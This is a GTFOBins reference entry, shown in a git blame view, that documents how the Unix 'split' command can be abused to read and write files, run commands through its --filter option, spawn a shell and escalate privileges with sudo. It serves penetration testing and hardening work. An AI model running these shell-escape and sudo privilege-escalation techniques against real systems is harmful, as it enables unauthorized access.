GTFOBins.github.io/_gtfobins/split.md

40 lines
1.4 KiB
Markdown
Raw Normal View History

2020-11-13 11:59:14 +01:00
---
functions:
file-read:
- code: |
LFILE=file_to_read
TF=$(mktemp)
split $LFILE $TF
cat $TF*
2021-04-28 08:48:47 +02:00
file-write:
- description: Data will be written in the current directory in a file named `xaa` by default. The input file will be split in multiple smaller files unless the `-b` option is used, pick a value in MB big enough.
code: |
TF=$(mktemp)
echo DATA >$TF
split -b999m $TF
2021-04-28 09:01:24 +02:00
- description: GNU version only. Data will be written in the current directory in a file named `xaa.xxx` by default. The input file will be split in multiple smaller files unless the `-b` option is used, pick a value in MB big enough.
code: |
EXT=.xxx
TF=$(mktemp)
echo DATA >$TF
split -b999m --additional-suffix $EXTENSION $TF
2020-11-13 11:59:14 +01:00
command:
2020-12-20 21:15:58 +01:00
- description: Command execution using an existing or newly created file.
2020-11-13 12:12:08 +01:00
code: |
2020-11-13 11:59:14 +01:00
COMMAND=id
TF=$(mktemp)
split --filter=$COMMAND $TF
- description: Command execution using stdin (and close it directly).
code: |
COMMAND=id
echo | split --filter=$COMMAND /dev/stdin
shell:
2020-12-20 21:15:58 +01:00
- description: The shell prompt is not printed.
code: |
split --filter=/bin/sh /dev/stdin
2020-11-13 11:59:14 +01:00
sudo:
2020-12-20 21:15:58 +01:00
- description: The shell prompt is not printed.
code: |
2021-04-28 09:01:12 +02:00
sudo split --filter=/bin/sh /dev/stdin
2020-11-13 11:59:14 +01:00
---